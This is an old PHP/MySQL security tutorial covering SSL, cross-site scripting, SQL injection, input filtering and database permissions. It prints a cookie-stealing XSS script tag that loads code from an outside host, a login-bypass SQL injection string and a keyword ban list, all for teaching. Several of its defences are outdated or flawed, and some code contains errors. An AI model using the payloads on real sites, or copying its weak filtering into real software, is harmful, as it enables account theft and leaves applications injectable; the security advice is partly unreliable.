Security/Safe Coding Practices
Security
Since web servers are publically accessible, they present significant security issues. This section will discuss a few important security issues for web developers. Please defend your sites, your customers and yourself by spending time studying the issues here and with the additional resources mentioned.
Protecting Customer Data
By default, all data that transmits to and from your web sites is sent in clear text. This means that potentially all data sent can be easily captured by others. While it is possible to "encrypt" (garble) your data to make it more difficult to understand by an outsider, it is not considered a safe practice to do so with sensitive data. If you request sensitive data from your customers, such as a credit card, you must do so over a secure connection with SSL.
Secure Socket Layer (SSL)
Requesting a credit card without properly using SSL could render you liable. Only data sent over SSL is considered to be safe for retrieving credit cards. You and your customer can decide to hand the entire credit card handling process to a third party broker, such as Paypal, where your site does not handle the credit card at all. This is a great method for a small scale site and is cost effective.
If you decide to use SSL, contact your hosting company to see if it is a service they offer. Many hosting companies include SSL as an included part of their hosting packages. This will likely include your admin setting up a special folder for storage of all your PHP files related to handling SSL transactions. You must send the user to a form residing inside this folder BEFORE asking for any sensitive data. Potentially every file involved at that point will need to be inside that folder. Even the images involved will reside in that folder since any files retrieved from elsewhere will trigger a warning from the browser. This is why many SSL enabled pages are stripped of ornamentation. Sending data over SSL effects transmission speed, since significant data processing is occuring on the client and server for encryption and decryption, even of the images. See the tutorial below to understand the steps in processing a credit card from your site:
http://web.archive.org/web/20051001011552/www.devguru.com/features/tutorials/creditcards/creditcards.asp
Cross Site Scripting (XSS)
When we present a text box allowing a user to type in data we are opening ourselves up to several potential risks. One of these is called Cross Site Scripting (XSS). XSS most commonly occurs when we do not strip out script tags and other dangerous HTML or JavaScript when we request information from our users. If we present the data back to the users, what becomes visible is JavaScript that can popup a new window, redirect the user to their site, which may masquerade as yours, or even copy your cookie data first, then send it to their site. THIS is how cookies are dangerous!
Here is some JavaScript code, provided for us to demo an XSS hack:
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
Place the above script into a non-protected RTE and it redirects the user to the ckers.org website, and delivers the contents of your cookies!
How do we prevent XSS? The easiest solution is NOT to allow users to enter script tags & other dangerous code! In PHP, at minimum, use the "strip_tags()" function to remove HTML on any potentially dangerous user input. For more info see:
http://www.cgisecurity.com/articles/xss-faq.shtml
SQL Injection Attacks
A SQL injection attack occurs when someone attempts to hack into, or damage your database by inserting or effecting SQL commands aimed at your database. The usual methods are either through a textbox on an existing form, the querystring or by creating a custom form designed to inject SQL into your form handler.
There are two main types of attacks. First-order attacks are when the attacker receives the desired result immediately, either by direct response from the application they are interacting with or some other response mechanism, such as email. Second-order attacks are when the attacker injects some data that will reside in the database, but the payload will not be immediately activated.
A hacker can use the ";" character in a text box, and therefore try to run more than one command at once. The first command could be the SQL command you intended. The second one could be to drop your customer table!
An even simpler attack can be used on a typical Password field by adding the string:
' OR ''='
Which when added to a typical Login and Password SQL statement allows you to login as the first user in the login table! Once logged in, the hacker can try to determine the names of the fields and tables of your database, etc. For more details on sql injection attacks, search google, or start with the following link:
http://www.securiteam.com/securityreviews/5DP0N1P76E.html
Cleaning Input Data
In some cases it may be appropriate to attempt to clean the string of input sent by the user. PHP has several built in functions that help us clean and convert possibly dangerous data before we attempt to enter it via a SQL command. Here are some functions to consider:
mysql_real_escape_string(): escapes special characters in a string, taking into account the current character set of the database connection. Each special character is 'prepended' with a backslash, so the character doesn't trip up the SQL syntax.
strip_tags(): tries to return a string with all HTML and PHP tags stripped (removed) from a string.
htmlspecialchars(): will convert any characters in a string to their HTML entity equivalents. For example, "<" would become "<".
escapeshellcmd(): escapes any characters in a string that might be used to trick a shell command into executing arbitrary commands. This function should be used to make sure that any data coming from user input is escaped before this data is passed to the exec() or system() functions, or to the backtick operator. If your PHP pages access any network related utilities, consider running the "escapeshellcmd()" function to remove metacharacters that may force Linux to run commands at the request of a hacker.
We have a wrapper function named dbIn() inside our utilINC.php that is designed to help filter data before it enters the database. You can customize this function to address new vulnerabilities by including new functions or techniques inside the function (hence the term 'wrapper'). Our current dbIn() function internally calls the mysql_real_escape_string() function already.
If you decide to customize the dbIn() function, be sure to rename a copy of it to test first! Certain functions like strip_tags() are incompatible with Rich Text Editors, because we allow a user to enter HTML.
Casting: Another great technique when we are sure we expect an integer (for example) is to 'cast' (force) the data to be of a particular type. View the following code sample:
$id = mysql_real_escape_string($_POST['input']);
$sql = 'SELECT * FROM table WHERE id = ' . (int)$id;
Note the use of (int) before the $id variable. This example casts (forces) the data inside the $id to become an integer. If string data is given by the user, the data is cast to a safe value, in this case zero.
Parameterized Queries: Besides applying stripping commands like mysql_real_escape_string() we should consider replacing data entered by separating each parameter (piece of user entered data) into a query that forces each piece of data to become a specific data type. View the following code snippet:
$sql = sprintf("INSERT INTO products (`name`, `description`, `user_id`) VALUES ('%s', '%s', %d)",
mysql_real_escape_string($product_name, $myConn),
mysql_real_escape_string($product_description, $myConn),
(int)$id);
In the above statement we are using the sprintf() function to insert placeholders for user input. We use character combinations such as %s for a string and %d for numeric data to replace the user input into specific spots in our SQL statement. Note that we are also casting the $id value at the same time. Since we have our own dbIn() wrapper which includes mysql_real_escape_string() we can replace the above statement with the following:
$sql = sprintf("INSERT INTO products (`name`, `description`, `user_id`) VALUES ('%s', '%s', %d)",
dbIn ($product_name),
dbIn($product_description),
(int)$id);
Since our version is shorter, we can get it all in one line now:
$sql = sprintf("INSERT INTO products (`name`, `description`, `user_id`) VALUES ('%s', '%s', %d)", dbIn ($product_name), dbIn($product_description), (int)$id);
For more info on how to use sprintf() to filter data the user comments at mysql_real_escape_string().
Refusing Invalid Data
While it is nice to imagine you can attempt to "strain out" bad data as input by users, it is safer to simply refuse data from users who do not comply. This is especially true in the case of a login. We can use regular expressions in a function to determine if input consists of only alpha-numeric input with the following function:
function onlyAlphaNum($myString){
$myReturn = eregi("[^a-zA-Z0-9]",$myString);
if($myReturn){return false;}else{return true;}
}
The function above returns a simple true or false based on whether the user has truly entered only numbers and letters. You would call the function, and redirect the user with code like this:
$myReturn = onlyAlphaNum($Password);
if(!$myReturn){myRedirect("login.php?msg=3");die();} //redirect user indicating wrong login/password
This is a quick function to help us deny data from would be hackers. However, what if the user is inputting an email, as we request they do on our login page? That would not pass the test, with the "@", symbol, etc. To check for an appropriate email, lets adapt our function and create a new one that only allows what is close to a valid email:
function onlyEmail($myString){
if(eregi("^[a-zA-Z0-9_-.]+@[a-zA-Z0-9_-]+.[a-zA-Z0-9_-]+$",$myString))
{return true;}else{return false;}
}
This version checks to make sure what is sent is similar to the "onlyAlphaNum" function, except that it will allow periods and an asterisk in the appropriate locations. There may be occasions that you want to go further. Certain key words may be considered dangerous as they are words that match SQL commands. We can create an array that includes all of these "banned" words, and filter them from the data:
function stripBan($myString) {
//create an array of banned (possibly dangerous) sql command words
$banlist = array
(
"insert", "select", "update", "delete", "distinct", "having", "truncate", "replace",
"handler", "like", "as", "or", "procedure", "limit", "order by", "group by", "asc", "desc", "union", "alter"
);
// eliminate any special characters with a regular expression.
if (eregi("[a-zA-Z0-9]+",$myString))
{
$myString = trim(str_replace($banlist,"",strtolower($myString))); //then replace any banned words with strings of zero length
return $myString; //send back an empty string if ANY special characters are present
}else{
return ""; //send back an empty string if ANY special characters are present
}
}
With the above example you would send a string in, but would need to test to see if the data returned was still relatively intact before using the data on the database:
$myWhere =stripBan($myWhere);
sql = "Select * from tblBooks " . $myWhere; //clean a "where" string of possible hacker code
The above example cleans a "where" string, for example when you allow a user to select search options, of any hacker code. You may want to adapt the above version to simply DENY any changes to the string represented by "$myWhere" by measuring the length of the string before running the function:
$myWhere = trim($myWhere); //prevents a stripped space from creating "false" positive!
$lengthBefore = strlen($myWhere); //length BEFORE function!
$myWhere = stripBan($myWhere);
$lengthAfter = strlen($myWhere); //length AFTER function!
if($lengthBefore==$lengthAfter)
{ //no change, safe to use
sql = "Select * from tblBooks " . $myWhere;
}else{ //possible hack attempt, send myself email warning
mail("me@myemail.com","Hacker Attempt!","A hacker tried to hack my page!","me@myotheremail.com");
}
The above code is designed to email yourself a message on a possible hack! Emailing yourself a quick note is very useful to determine problems in pages of any kind. In a real example you would want to capture as much of the real information available as possible, and include it in the body of the email. For instance, include the time, page the code was called from, line of code on what page, data attempted to be entered by the user prior to removing hacker code and any session info or page info to identify the user!
Limiting MySQL User Permissions
A simple, but HIGHLY effective way to protect the data in your database is to set up separate MySQL users for each need of your users & administrators.
Here is an example. What if a PHP page involved is open to the public, such as a textbox for searching? Lets create a "select only" user specifically for searchers:
grant select on dbname.* to username identified by 'horsey123';
This limits the public (for this text box, anyway) to only selecting data, not adding, deleting, dropping or altering data.
We've built this capability into our connINC.php file. You can setup credentials passed to the conn() function as one of the following strings:
- admin
- delete
- insert
- update
- select
Each level of access should include the capabilities of those below it. MySQL accounts must be setup for each level, with 'select' account only able to access db via 'select' command, and update able to 'select' and 'update' etc. Each credential set must exist in MySQL before it can be used.
See the lesson on MySQL Command Line/Database Setup for more details!
Hiding Error Messages, Data Structure
Once you study SQL Injection, you will see that the error messages shown by the database help a hacker determine how your database is structured. Remember to change the HIDE_ALL_ERRORS constant in your config_inc.php file to TRUE before you go public with your site.
To help hide the structure of your database, change the element names of your forms so they do NOT match your database! Don't make it TOO easy to guess your field names!
Add prefixing to your tables so obvious table names don't exist! The further benefit of adding a prefix is you limit the possibility of collisions with tables for other applications.
Now, Make Yourself Safe!
Now that you have an inkling of the types of vulnerabilities that are involved, it will be up to you to keep up with hacking techniques, and safe coding. Good luck!
Links:
Here are some links for further study:
PDO & Prepared Statements: Relatively new to PHP (version 5.1) is the PDO (PHP Data Object) database abstraction layer which provides speed and security.
SQL Injection Prevention Cheat Sheet: An excellent resource by folks who built open source exploitation software - highly recommended!
PHP Freaks Security Tutorial: As you become bigger you will also become a bigger and therefore more interesting target - something we have experienced ourselves here at PHP Freaks.
PHP Security Consortium: An international group of PHP experts dedicated to promoting secure programming practices within the PHP community. Members of the PHPSC seek to educate PHP developers about security through a variety of resources, including documentation, tools, and standards.
The Unexpected SQL Injection: In depth tutorial on when escaping is not enough.
Fun With Backticks: Details some considerations for escaping data with the backtick (`) character.
Backtick SQL Injection: To tick or not to tick? That is the question... is this the answer? Column names in generated SQL statements can be surrounded by the backtick character. This is necessary for column names that conflict with reserved words or functions.